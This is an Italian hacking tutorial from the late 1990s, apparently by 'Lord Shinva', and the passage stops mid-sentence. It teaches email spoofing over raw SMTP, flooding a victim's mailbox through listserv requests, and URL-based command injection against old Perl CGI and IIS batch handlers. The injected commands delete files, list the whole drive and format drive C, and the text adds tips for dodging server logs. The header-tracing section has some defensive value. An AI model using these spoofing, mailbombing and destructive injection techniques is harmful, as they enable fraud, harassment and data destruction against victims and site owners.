Tratto da  LoRD SHiNVA
PREFAZIONE
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In seguito alle moltissime richieste di informazioni sull'hacking, noi del
D.A.C. abbiamo deciso di scrivere una serie di "volumi" sull'argomento, per
spiegare in modo semplice e graduale le basi dell'hacking.
Le informazioni che ci accingiamo a darvi con la presente "Enciclopedia"
sono solo a scopo informativo.
L'autore, Lord Shinva, declina ogni responsabilita` per l'uso di queste
informazioni.
L'autore si riserva inoltre la possibilita` di ritardare o interrompere in
qualsiasi momento la pubblicazione di questa serie di documenti in caso di
uso improprio degli stessi.
Questo documento puo` essere liberamente distribuito purche` non modificato.
Sono VIETATE la vendita e la duplicazione integrale o parziale con qualsiasi
mezzo e in qualsiasi modo.  Tutti i diritti sono riservati dall'autore.
GLOSSARIO
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- IP Address
  Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che
  identifica il vostro computer sulla rete.  Un IP Address e` unico e
  corrisponde ad un Host Name
- Host Name
  Nome in formato standard Internet di un sito. Ad esempio sara` del tipo
  www.prova.com per un provider o un sito generico, mentre nel caso di un
  collegamento via modem di un utente al suo provider potra` somigliare a
  ppp14-ro.provider.it.
  Le estensioni piu` usate sono:
    .com   sito commerciale ("com") generico
    .org   organizzazione ("org") senza fini di lucro
    .mil   sito militare ("mil") USA
    .net   rete (in inglese "net") sito generico
  e i vari .it (Italia) .uk (Inghilterra) .ca (California), ecc.
- Client
  Programma "cliente", usato da un utente per collegarsi ad un servizio.
  Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al
  servizio Web (HTTP), Eudora e` un client per collegarsi al servizio e-mail
  (SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a FTP, e cosi`
  via.  E` in pratica un programma che viene usato per comunicare con un
  server.
- Server
  Programma che svolge un servizio e si occupa di rispondere ai client.
  Ad esempio, i provider hanno un Web Server per offrirvi la possibilit…
  di collegarvi ad Internet tramite il Web.
- Protocollo
  Insieme di regole per la gestione di un servizio Internet come web, email
- Servizi: nomi tecnici
  I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP
  (trasferimento file), e-mail, news, IRC, ecc.
  Ecco alcuni nomi tecnici e relativo servizio:
    HTTP   e` il nome del protocollo del web
    SMTP   e-mail, posta in uscita
    POP3   e-mail, posta in arrivo
    IMAP   e-mail, e` un altro tipo di posta in arrivo, meno usato
- DNS (Domain Name Server)
  E' la funzione svolta da un computer situato sulla rete che si occupa di
  risalire a un IP Address da un Host Name e viceversa (se ad esempio volete
  conoscere l'IP Address di www.prova.com utilizzando il DNS otterrete una
  risposta del tipo 123.45.67.8, ma e` anche possibile fare il contrario).
  L'operazione per la quale si risale dall'IP Address (numerico) all'Host
  Name (nome) viene detta Reverse DNS.
  Il DNS viene utilizzato automaticamente da tutti i programmi per Internet,
  in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere
  il relativo IP Address per riuscire a collegarsi ad un sito (Host).
  E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc.
FONDAMENTI
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Prima di iniziare con l'hacking vero e proprio e` necessario iniziare con
una breve lezione sull'anonimita`.
Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate
tracce di voi ovunque.
Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si
collega ad un server o si inviano dati vengono automaticamente trasmesse
informazioni come: da quale server (e quindi da quale citta`) si sta
chiamando, il nome ed il produttore del programma che si sta usando, quale
sistema operativo e` installato sul vostro PC, il vostro IP address, qual'e`
l'ultimo sito visitato, se, quando e quante volte ci si e` collegati ad un
sito, e talvolta anche il proprio indirizzo di e-mail.
Mentre lasciare simili informazioni in giro puo` non costituire un pericolo
per un utente qualsiasi, per un hacker la cosa diventa alquanto pericolosa.
In pratica e` come se lasciaste un biglietto da visita (beh... quasi un
curriculum!) ad ogni collegamento che effettuate.
Molti siti utilizzano anche un comodo meccanismo di identificazione messo a
disposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta
ad identificarvi anche a distanza di tempo, e puo` rivelare loro la
frequenza con cui visitate dei siti, IP address, ed altre informazioni che
non vorreste dare.  Il file in questione e` denominato "cookie".
Se usate Netscape lo troverete nella directory del browser con l'innocuo
nome di "cookies.txt".  Non e` altro che un semplice file di testo, come
questo che state leggendo.  Bastera` eliminarlo dopo ogni collegamento per
eliminare le informazioni che esso puo` rivelare.  Se utilizzate siti che
richiedono accesso con password puo` darsi che il cookie contenga delle
informazioni necessarie al vostro collegamento: in tal caso bastera` editare
il file ed eliminare solo le righe che non contengono il nome del sito in
questione.
I "cookies" possono essere disabilitati in alcuni browser (come Netscape).
Lo stesso vale per altre tecnologie ancor piu` pericolose (per la privacy),
come Java e JavaScript.  Rendono piu` allegre le pagine Web... e ancor
piu` allegri quelli che vogliono sapere chi, come e quando si collega a
una pagina.
Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce
sul Web era l'Anonimizzatore (http://www.anonymizer.com), ma mentre prima
era gratuito ora e` diventato a pagamento.  Lo si puo` ancora utilizzare, ma
prima di visualizzare la pagina Web desiderata, l'utente e` costretto ad
attendere circa mezzo minuto.  Inoltre questo servizio e` ora in grado di
riconoscere un tentativo di hacking e si rifiuta di eseguire il collegamento.
Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia.
In realta`, un hacker non usa quasi mai altro che un solo programma: Telnet.
Se non siete ancora in possesso di un client (programma utente) Telnet vi
consiglio di prelevarlo al piu` presto dalla rete (ad esempio, cercando su
http://www.shareware.com).
Telnet non e` altro che un servizio di banca dati, con messaggi, programmi
e cose del genere, proprio come nelle vecchie BBS.
Ma perche` utilizzare proprio Telnet?
In realta`, un client Telnet fa poco piu` che collegarsi a un server,
inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve dal
server.
Puo` in effetti sostituire (limitatamente) un qualsiasi altro client.
Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi
ad un sito Web, il programma non fa altro che svolgere una sessione Telnet.
In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta
che il server glielo invii.
Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica.
Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi
programma client, parlando al server e leggendo le sue risposte.
Ma per quale motivo dovremmo farlo?  E` presto detto.
Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail,
e` stato progettato perche` dall'altro capo della connessione ci sia un
programma client che segua certe regole (ad esempio Eudora per la posta).
Ma cosa succede se invece di un programma c'e` un hacker che "finge" di
essere il programma e invece di seguire le regole standard fa altre cose
non previste?
Succede che si puo` sovvertire il servizio, e si possono fare le cose piu`
disparate.
Alcuni esempi: sovvertendo e-mail si puo` inviare posta elettronica "falsa"
(detta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo
il Web si puo` crashare (da "crash": distruggere, in senso virtuale) un
server, con FTP si puo` ottenere un livello di anonimita` elevatissimo ed
e` possibile infiltrarsi anche dove non si e` desiderati, e cosi` via; per
praticamente ogni servizio esistente vi sono delle tecniche applicabili.
E infine, con quasi tutti i servizi (e in particolar modo con la SMTP)
esistono dei modi per ottenere il tanto agognato accesso "root", in pratica
il livello dell'amministratore di sistema (detto SysAdmin) che puo` fare
*qualsiasi* cosa: creare, aggiungere o eliminare account, file e directory,
utenti con qualsiasi livello d'accesso, leggere la posta e i file degli
utenti, attivare e disattivare servizi, modificare programmi...
Nel prossimo volume ci occuperemo della falsificazione e identificazione di
posta elettronica e news.
      
TELNET E SMTP
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Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno
facendo sembrare che essa sia stata mandata da qualcun altro.
Il metodo piu` semplice e` utilizzare uno dei siti per hackers che offrono la
possibilita` di inviare FakeMail (basta cercare questa parola in un motore di
ricerca su Internet, ad esempio www.yahoo.com ha una sezione apposita per
FakeMail e posta anonima).
Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica
delle FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle
news).
Il motivo per cui la studieremo e` che provandone il funzionamento, ne
approfitteremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero
il servizio della posta in uscita.
Questa e` infatti la base per capire come funzionano molte delle tecniche
piu` utilizzate, e vi permettera`, quando sarete padroni della materia, di
implementarne di nuove.
Iniziamo dunque imparando ad usare Telnet.
Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi
collegherete al servizio Telnet.  Ma abbiamo detto che non e` questo il
nostro obiettivo.  A noi interessa il servizio SMTP.  Dunque, come fare per
accedervi?
Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo
collegarci, anche un numero di "porta".  Ma cos'e` una porta?
Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma
gestisce molti servizi (web, ftp, posta...).  Di conseguenza dovrebbe avere
altrettanti server su altrettanti indirizzi diversi.
Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica
nient'altro numeri a cui sono associati i vari servizi.
Vogliamo collegarci a SMTP?  Basta utilizzare la porta 25.  Ci interessano
le news?  La porta e` 119.  Oppure FTP, porta 21... sono tutti numeri "fissi"
(standard) e quindi, tranne in rarissimi casi, collegandosi - per esempio -
alla porta 25 ci rispondera` sempre SMTP.
NOTA: se avete Winsock potete leggere il file "services", contenente i numeri
delle porte piu` usate.  Il file si trovera` nella directory di Winsock.
Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci
collegare a SMTP usando Telnet.  Scegliamo un server qualsiasi (sono davvero
rari i casi in cui un server non gestisca la posta) e, in base al programma
usato, dovremmo operare differentemente.
La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del
server prova.it bisogna inserire prova.it:25 come nome del server.
Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta,
ma hanno uno spazio in cui inserire, separatamente, il numero o il nome del
servizio.
Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo:
220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200
e niente altro.  Il server sta ora aspettando comandi da parte nostra.
La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO
in questo modo:
HELO nomeprovider.it
sostituendo nomeprovider.it con il nome del nostro provider.
NOTA: usando Telnet *NON* e` possibile cancellare.  Quindi digitate senza
fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto,
oppure - in alcuni casi - puo` essere sufficiente premere invio e riscrivere
la riga da zero.  Non cancellate, anche se sembra funzionare.  I risultati
possono essere imprevedibili e potreste rivelare la vostra identita`.
Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono
gia` il vostro IP Address quando vi collegate, quindi tanto vale inserire il
vero nome.
La risposta sara`:
250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you
A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail.
Usiamo allo scopo il comando "MAIL FROM" e digitiamo:
MAIL FROM:
...ovviamente l'indirizzo da inserire e` quello falso =)
Il server rispondera` con un messaggio.  Se avremo sbagliato qualcosa, sara`
un messaggio d'errore, e dovremo ripetere l'immissione.
A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere
vittima@lamer.it.  Usiamo il comando "RCPT TO" e scriviamo:
RCPT TO:
Il server rispondera` con un altro messaggio.
Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle
intestazioni e del corpo del messaggio.
Avvisiamo il server che siamo pronti, scrivendo:
DATA
e il server ci dira` di scrivere il messaggio e di concludere con un punto
su una riga vuota.
Fermiamoci un attimo.  In ogni e-mail esistono delle intestazioni (headers)
che si trovano prima del corpo del messaggio vero e proprio.  Il loro scopo
e` elencare tutti i computer attraverso i quali e` passato il messaggio,
nonche` il nostro IP Address!  Cio` potrebbe rivelare la nostra identita` a
un hacker o a un SysAdmin esperto.  Per evitarlo, digitiamo:
Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58
dove nomeprovider.it e` il nome del vostro provider (quello che avete usato
con HELO) e l'ultima parte (Sun, 12 Oct...) e` la data in formato standard.
ID AA11212 va cambiato.  Potete mettere un numero qualsiasi (possibilmente
che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale).
Si tratta solo di un numero di serie del server, niente di importante.
Ora dobbiamo digitare:
Message-ID: <123.AA11345@microsoft.com>
Cio` serve a far credere che il messaggio sia partito effettivamente dal
server "microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi,
purche` NON uguale a quello inserito prima con l'intestazione "Received:").
Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail:
To:
Date: Sun, 12 Oct 97 11:30:27
Subject: questa e` una prova...
Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo
quanto vogliamo).  Per concludere il messaggio lasciamo due righe vuote,
digitiamo un punto, premiamo invio, scriviamo QUIT e invio.
La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche
chiudere Telnet.
E` importante inviare a se stessi dei messaggi di prova per vedere se il
server scelto ha ricevuto i dati correttamente, se non sono stati commessi
errori e, soprattutto, per vedere se il proprio IP Address si trova in
mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine.
Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al
passo successivo: usare le FakeMail per far danni... vogliamo seppellire
la mailbox di qualcuno?
Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente
dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo
un "listserv" (come ad esempio listserv@brownvm.brown.edu).
Un Listserv e` un programma che invia programmi tramite e-mail nel caso non
si riesca a prelevarlo via FTP.
Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it
c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo
che quei 20 MB vengano inviati sotto forma di testo nella e-mail della
nostra vittima...
Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail,
arrivati a "Subject:" scriviamo quanto segue:
REPLY vittima@lamer.it
CONNECT pluto.it anonymous indirizzo@falso.com
BINARY
GET mieifiles/enorme.gz
QUIT
e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.
Ecco la spiegazione passo passo:
REPLY indica l'indirizzo e-mail a cui rispondere
CONNECT specifica il nome del provider a cui collegarsi e l'account da usare
BINARY specifica un file di tipo binario (non va cambiato)
GET specifica il nome del file da prelevare (completo di eventuali directory)
QUIT termina la connessione
Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara`
molto piu` dannoso.  Nel caso di un file di 20 MB, riscrivendo altre 10
volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al
povero utente destinatario!
E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi,
la vittima riceverebbe migliaia e migliaia di messaggi...
E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no?
Nel prossimo volume impareremo a scrivere messaggi totalmente anonimi, a
riconoscere un messaggio falso da uno vero e ad identificare il computer da
cui e` partito un attacco.
Piu` in la` spiegheremo anche come rendersi al 100% invisibili utilizzando
tecniche estremamente raffinate.
      
EMAIL E IDENTIFICAZIONE
~~~~~~~~~~~~~~~~~~~~~~~
Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora
come riconoscere una e-mail "vera" da una "falsa", come identificarne (in
parte) l'autore, e come utilizzare i remailer anonimi per un'anonimita` di
livello elevatissimo.
Per poter studiare un messaggio dobbiamo necessariamente essere in grado di
leggerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con
la parola "Received:" e simili, che si trovano prima del corpo del messaggio
vero e proprio).
Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha
un'opzione (in genere nel menu`) per attivare/disattivare la visualizzazione
degli stessi.
Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options",
mentre con "Internet Explorer" e` necessario cliccare sul titolo dell'e-mail
da analizzare, quindi premere il tasto destro e scegliere l'ultima voce
(Properties, ovvero Proprieta`).  Eudora ed altri client hanno una funzione
simile a quella di Netscape Mail (nei menu`).
Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:
Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3)
   id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT)
Received: from america.com ([123.45.67.89]) by posta.hackers.it
   (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187
   for ; Mon, 27 Sep 1997 14:34:21 +0200
From:
To:
Subject: test...
Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in
quanto ogni header inizia con una parola chiave seguita dai due punti, e nel
secondo rigo non esiste una prima parola, ne` i due punti; ne deduciamo
percio` che e` il seguito della riga superiore.
L'header "Received" ci informa del percorso seguito dall'e-mail da quando e`
stato generato a quando l'abbiamo ricevuto.  Normalmente ce n'e` piu` di uno
e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in
cui e` arrivata l'e-mail - con ogni probabilita` il nostro o quello del
nostro provider - e l'ultimo Received rappresenta il computer "mittente").
Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received"
in *cima* alle altre intestazioni gia` presenti.
Tornando alla nostra e-mail, vediamo percio` che l'ultimo "Received" ci
informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato
questa e-mail al server posta.hackers.it usando SMTP.
Guardando l'header successivo (sopra) notiamo che poi il messaggio e` stato
mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari
a 111.123.33.4) a provider.it, che e` il server destinatario (il nostro).
Infatti, se guardiamo l'header "To:" vediamo che destinatario finale e`
utente@provider.it.
Il mittente, stando all'header "From:", dovrebbe essere mittente@america.com
ma come sincerarsene?
Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste
su "america.com", ma utilizzando Finger non possiamo sapere se sia stato
effettivamente lui a mandare il messaggio o meno.
Ricorriamo percio` ancora una volta all'analisi degli header "Received".
Il primo header, quello che ci informa da CHI e` stato inviato il messaggio,
corrisponde all'ultimo header (cioe` al secondo "Received").
Da li` scopriamo che il computer mittente e` america.com con IP 123.45.67.89
e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com"
e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono
e` utilizzare un programma DNS.  Bastera` inserire l'IP Address per conoscere
l'Host Name ad esso corrispondente.
Questo metodo e` di estrema importanza, in quanto se da un lato non ci
permette di scoprire l'autore, almeno potremo sapere quale computer e` stato
usato per inviare e-mail, news, ecc.  Molti provider di posta elettronica
gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio
di e-mail che provengono da un determinato "dominio" (es. provider.it), ma
per farlo e` necessario conoscerne l'Host Name oppure l'IP Address.
Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi
del genere, si lascia dunque in modo indelebile il proprio IP Address nelle
e-mail.  L'unico "lato buono" e` che inviando alcune migliaia di e-mail a
un indirizzo, *probabilmente* il proprietario della mailbox non riuscira` a
scaricarle tutte (o non vorra` farlo) e non potra` percio` analizzarne le
intestazioni per scoprire il colpevole ;)
In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc e`
possibile scaricare un singolo messaggio e analizzarlo, quindi e` bene
lasciare il mail-bombing ai lamers che non hanno nient'altro da fare...
Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non
rintracciabili" e` perche` la lista dei server SMTP inclusa in essi contiene
per lo piu` vecchi server che non registrano l'IP Address di chi si collega.
Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati
di e-mail in uscita, e sono stati percio` disattivati o hanno cambiato nome.
In ogni caso, tutti i piu` nuovi server SMTP registrano (purtroppo) l'IP e
in alcuni casi sono addirittura in grado di riconoscere un tentativo di
FakeMail e rispondere "sfottendo"... :-}
Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una
anonima per rispondere a qualcuno senza essere rintracciati, o magari per
partecipare a un Newsgroup in maniera del tutto anonima.
Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta
completamente anonima (senza mittente e senza alcuna traccia di IP Address o
altro).
NOTA: Per una lista completa con tutte le informazioni come: velocita`,
caratteristiche e affidabilita` basta cercare le parole "anonymous remailer"
con un qualsiasi motore di ricerca sul Web.
Usarli nella loro forma piu` semplice (senza criptazione e senza re-routing
multipli) e` facile, basta inviare una normalissima e-mail (con qualsiasi
programma di posta elettronica) all'indirizzo e-mail di un remailer.
Ad esempio, remailer@replay.com (oppure remailer@huge.cajones.com o ancora
remailer@cypherpunks.ca) e, PRIMA del messaggio inserire una riga vuota, una
coppia di due punti e altre informazioni, come segue:
::
Request-Remailing-To: destinatario@email.com
Questa e` una prova....
Dunque l'indirizzo del destinatario NON va inserito come destinatario.
Come destinatario useremo l'indirizzo del remailer, mentre quello del vero
destinatario andra` scritto a fianco a "Request-Remailing-To".
Questo e` quanto per le e-mail anonime.  Come fare, invece, per inviare
delle news anonime?  Seguendo lo stesso procedimento, ma usando come
destinatario un "gateway" (passaggio) mail-news.  A cosa serve?
Inviando un messaggio al gateway, questo lo inviera` a sua volta alle news.
Volendo mandare un messaggio al Newsgroup alt.hackers bastera` sostituire
i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio
cs.utexas.edu) quindi il risultato sara` alt-hackers@cs.utexas.edu al quale
manderemo il nostro messaggio tramite remailer.
Aggiungiamo ora alcune informazioni per completare il capitolo.
Sul Web esistono vari siti per FakeMail che non registrano IP Address.  Uno
molto veloce e` (al momento in cui si scrive) MailMan al seguente indirizzo:
http://www.nettex.com/~thecap/
Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul
Web.  Per chi preferisse le Form ai programmi di posta elettronica bastera`
cercare, come detto prima, dei remailer usando i motori di ricerca.
Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/
NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un
servizio a quanti vogliono preservare la propria privacy elettronica.
Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio.
Inoltre molti remailer possono negarvi l'accesso al servizio in caso di
proteste da parte di terzi.  In altre parole, usate il cervello...
INTRODUZIONE ALLE TECNICHE DI BASE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Le tecniche che inizieremo a vedere da questo capitolo in poi sono quelle
di base per poter comprendere quelle piu` complesse.
Inoltre nella spiegazione di ciascuna tecnica ne approfittero` per spiegare
altri argomenti che normalmente in qualsiasi guida sull'hacking, in italiano
o in inglese, sono lasciati alla... immaginazione del lettore.
Dunque.  In questo volume vedremo delle semplici tecniche relative alla
sicurezza (da un punto di vista hacker) dei server Web.
Credo (e spero) che sappiate gia` usare un browser e i vari programmi... in
caso contrario vi consiglio vivamente di lasciar perdere l'hacking e iniziare
con qualcosa di piu` semplice, come accendere e spegnere il computer...
TECNICHE DI BASE: I WEB SERVER - PARTE 1
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Molti metodi usati in passato per hackerare un sito Web si basavano su dei
problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei
Webmaster e dei SysAdmin.  Ad esempio, un classico errore era lasciare
programmi che hanno funzione di interpreti di comandi, come ad esempio il
Perl (file perl.exe) accessibili a chiunque tramite Internet.
Dal momento che tali programmi accettano parametri, se avessimo voluto
cancellare l'intero contenuto di una directory avremmo potuto eseguire il
comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web).
Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl,
il comando per eliminare la directory e` "unlink <*>" (senza gli apici).
Per "dire" al Perl di eseguire un comando va usata l'opzione "-e".  Il
comando completo sara` quindi: perl.exe -e unlink <*>
Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella
directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito).
Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo:
  http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E
Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non e`
altro che l'indirizzo del programma da eseguire; il punto interrogativo ci
consente di passare dei comandi qualsiasi al programma (probabilmente lo
avrete gia` visto quando vi collegate ai motori di ricerca); infine, come
gia` detto prima, "-e" dice al Perl di eseguire il comando che segue.
I segni + non sono altro che gli spazi.  Poiche` negli URL non si usano spazi
vanno usati i + al loro posto.
Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`?
Se guardate piu` sopra, vedrete che il comando da eseguire era unlink <*>
Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione
esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo
stesso abbiamo fatto per > mentre l'asterisco e` rimasto uguale.
Ovviamente non dovrete imparare i codici a memoria, vi bastera` trovare una
tabella ASCII come quelle che si trovano sui libri di informatica e di
programmazione, o in alcune piccole utility.  Se non l'avete, prima di
proseguire e` assolutamente necessario che ve la procuriate.
Dicevamo... perche` questi cambiamenti?
Perche` esistono delle regole per "scrivere" un URL: caratteri come / e \
(detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi
tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli)
vanno *sempre* sostituiti con il relativo codice ASCII.  Tutti gli altri
caratteri possono rimanere invariati.
Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognera`
fare altro che cercarne il codice in esadecimale e scriverlo al suo posto,
mettendo un simbolo di percentuale prima del codice.
Tali codici sono detti di "escape".
In modo analogo, un server Web come il Microsoft IIS per Windows (versioni
dalla 1.x alla 2.0b) oppure il server di Windows NT 3.x puo` essere "forzato"
ad eseguire dei comandi arbitrari, come ad esempio:
  http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs
In questo caso scrivimi.bat e` un file batch (.bat).
E` molto facile da scoprire se un server utilizzi tali file, in quanto basta
dare un'occhiata alle pagine Web di un sito (e magari al loro listato) per
scoprire se vi sono riferimenti ad essi.
Ovviamente il trucco funziona solo con i server sopra elencati (per Windows)
e con pochissimi altri.  Inoltre le nuove versioni hanno corretto questo
problema.
Il "bug" (errore) in questo caso risiede nella gestione dei files batch.
Come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da
eseguire, il server credera` di stare eseguendo ancora il file batch e in
realta` fara` ben altro... nel nostro caso, il comando codificato e` il
seguente: dir c:\ /s (dove / e` stato sostituito con il suo codice, %5C).
Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le
directory e i file presenti sul server (utile per sapere dove mettere le
mani se cerchiamo qualcosa in particolare o vogliamo modificare qualcosa).
Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit
per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio.
Le trattiamo anche perche` non si puo` imparare qualcosa di complesso senza
conoscere le basi e i ragionamenti che sono dietro un exploit.
Tali exploit sono ampiamente discussi e spiegati (in inglese) su Internet e
a volerli spiegare tutti non basterebbero 100 volumi di questa enciclopedia.
Ecco perche` vi invito fin d'ora ad "avventurarvi" sulla Rete, a cercare e a
provare... e soprattutto a imparare l'inglese (se non lo conoscete gia`),
perche` la stragrande maggioranza delle documentazioni e dei siti che possono
insegnarvi qualcosa (come il mitico Silicon Toad... http://www.silitoad.org
oppure come Hackers Underground... http://www.underground.org) e`, che lo
vogliate o meno, in inglese.  In una parola: LEGGETE.
Comunque l'obiettivo di questi volumi non e` certo insegnarvi dei trucchi.
Possono essere molto utili, talvolta indispensabili.  Ma l'hacking e` ben
altro, e si avvale dell'uso di tecniche raffinate che l'hacker sceglie in
base alle proprie esigenze e in base al suo personale modo di hackerare.
Se noteremo abbastanza interesse da parte vostra, l'autore (cioe` io, Lord
Shinva) continuero` a scrivere questi volumi e presto conto di poter iniziare
con l'hacking propriamente detto.  Se invece li considerate una perdita di
tempo, ne interromperemo la pubblicazione.
Per chi voglia comunicarci la propria opinione in merito, l'indirizzo di
e-mail e` Lord.Shinva@usa.net (consigli, critiche, richieste di argomenti
da trattare e proposte di collaborazione sono bene accetti).

TECNICHE DI BASE: I WEB SERVER - PARTE 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppure
Windows NT server) possono essere utilizzati per eseguire comandi arbitrari
utilizzando lo schema seguente:
  [URL].../nomescript.bat?&comando_1+comando_2+...+comando_N
E` bene notare che i server Web registrano in uno o piu` file (detti "log")
tutte le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra
descritto esso verrebbe senza dubbio registrato, insieme al nostro IP Address
e ad altre informazioni.
Per evitarlo, possiamo fare due cose.  Una possibilita` e` aggiungere alla
fine dell'URL contenente i nostri comandi, il comando "time" oppure "date",
in questo modo:
  http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time
Procediamo ora con la spiegazione di questo URL.  Il comando eseguito e`:
  echo S | format c: /u
seguito dal comando "time", che vedremo dopo.  Il comando "format c:" come
sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre
"/u" indica a "format" di procedere con una formattazione incondizionata,
cioe` senza salvare i dati presenti sul disco... ma "format", una volta
eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e
non fara` nient'altro fino a che non avra` uno dei due input.
Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera
del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|".
In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo"
(il carattere "S") al comando successivo (format), simulando la pressione del
tasto.  Abbiamo cosi` risolto il problema.
Una funzione non documentata del comando format e` l'opzione "/autotest".
Tale opzione corrisponde in pratica alla riga di comando sopra descritta,
e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u"
scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer).
L'hard disk verra` formattato senza chiedere alcunche` all'utente.
Ma ora torniamo al comando time (oppure date).  Perche` l'abbiamo aggiunto?
I server registrano le operazioni nei log solo DOPO che tali operazioni siano
state effettivamente eseguite.  Ad esempio, quando un URL viene "chiamato" e
